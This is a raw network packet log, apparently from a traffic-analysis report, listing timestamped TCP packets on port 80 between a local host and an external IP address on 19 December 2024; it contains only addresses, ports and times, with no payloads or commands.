Dec 19, 2024 20:11:40.080893993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.081132889 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.081177950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.082026958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.082165003 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.082220078 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.083177090 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.083229065 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.083307981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.083364964 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.084275007 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.084336996 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.084366083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.084445953 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.085397005 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.085603952 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.085776091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.086633921 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.086819887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.087152004 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.087302923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.087677002 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.087728977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.088211060 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.088372946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.088759899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.088963032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.089303970 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.089355946 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.089920998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.090013981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.090158939 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.090265036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.091037989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.091103077 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.091214895 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.091269016 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.092741966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.092749119 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.092804909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.093277931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.093404055 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.093751907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.093802929 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.094412088 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.094511986 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.094554901 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.094614029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.095804930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.095856905 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.095963955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.096004963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.096654892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.096904993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.097234011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.097790956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.097847939 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.098249912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.098313093 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.098951101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.098965883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.099009991 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.100060940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.100150108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.100183010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.100289106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.101142883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.101191998 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.101258993 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.101505995 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.102247953 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.102478981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.103233099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.103327990 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.103421926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.103427887 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.103473902 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.104537964 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.104677916 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.104748011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.104748011 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.105786085 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.105895042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.106053114 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.106761932 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.106874943 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.106908083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.106947899 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.107923985 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.107989073 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.108047962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.108150959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.109045982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.109128952 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.109268904 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.109477997 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.110131025 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.110182047 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.110281944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.110346079 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.111288071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.111402988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.111640930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.112525940 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.112621069 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.112684011 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.112857103 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.113573074 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.113621950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.113653898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.113718033 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.114665031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.114763975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.115081072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.115128040 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.115761042 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.115827084 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.116091013 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.116333961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.116887093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.116977930 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.117182016 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.117254972 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.118007898 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.118092060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.118448019 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.118505001 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.119242907 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.119379044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.119513988 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.119529009 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.120299101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.120354891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.120549917 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.120631933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.121381044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.121542931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.121587038 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.122524977 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.122601032 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.123065948 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.123898983 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.123985052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.124020100 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.124073029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.124759912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.124811888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.124886990 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.124944925 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.125880957 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.125968933 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.126107931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.126199961 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.126971960 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.127635956 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.315773010 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.315840006 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.315948963 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.316001892 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.316345930 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.316353083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.316406012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.317456961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.317534924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.317698956 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.317811966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.318579912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.318686008 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.318747044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.318789959 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.319762945 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.320084095 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.320290089 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.320708036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.320848942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.320916891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.321176052 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.321224928 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.321943998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.322036982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.322103024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.322164059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.323086023 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.323187113 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.323348999 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.323416948 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.324172974 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.324244976 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.324280024 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.324336052 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.325391054 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.325443029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.325670958 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.325745106 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.326476097 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.327059984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.327145100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.327673912 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.327745914 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.327780962 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.327833891 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.328792095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.328883886 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.329175949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.329230070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.329833984 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.329889059 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.330159903 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.330213070 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.330992937 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.331054926 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.331123114 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.331171989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.332149982 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.332216024 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.333003044 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.333069086 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.333188057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.333252907 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.334048986 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.334104061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.334268093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.334317923 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.334496021 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.334542036 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.335469961 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.335530043 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.336100101 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.336150885 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.336602926 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.336664915 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.336785078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.336870909 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.337692976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.337748051 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.338123083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.338176966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.338835955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.338989973 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.339309931 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.339371920 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.339935064 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.340004921 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.340063095 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.340130091 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.341098070 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.341116905 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.341165066 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.342206955 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.342263937 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.342539072 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.342595100 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.343338966 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.343409061 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.343528032 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.343590975 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.344491959 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.344546080 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.344674110 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.344798088 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.345561981 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.345618010 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.345671892 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.345721960 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.346869946 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.346977949 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.347002029 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.347028017 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.347839117 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.347846031 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.347892046 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.348937988 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.349061012 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.349134922 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.349191904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.350241899 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.350290060 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.350873947 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.350939989 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.351191998 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.351250887 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.351306915 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.351371050 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.352353096 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.352415085 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.353177071 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.353444099 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.353544950 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.353604078 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.353662968 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.354595900 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.354681015 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.354690075 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.354753971 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.355705976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.355776072 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.355823040 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.355880022 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.356873989 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.356929064 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.356964111 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.357009888 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.358005047 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.358055115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.358104944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.358175039 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.359085083 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.359138966 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.360001087 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.360100985 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.360266924 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.360328913 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.361375093 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.361382008 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.361426115 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.361530066 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.361586094 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.362458944 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.362504005 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.363574028 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.363580942 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.363635063 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.363704920 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.363749981 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.365034103 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.365148067 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.365178108 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.365202904 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.365782976 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.365837097 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.365959883 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.366204977 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.367001057 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.367039919 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.367511034 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.367563963 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.368105888 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.368113995 CET	80	49842	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:40.368166924 CET	49842	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:40.369177103 CET	80	49842	31.41.244.11	192.168.2.4
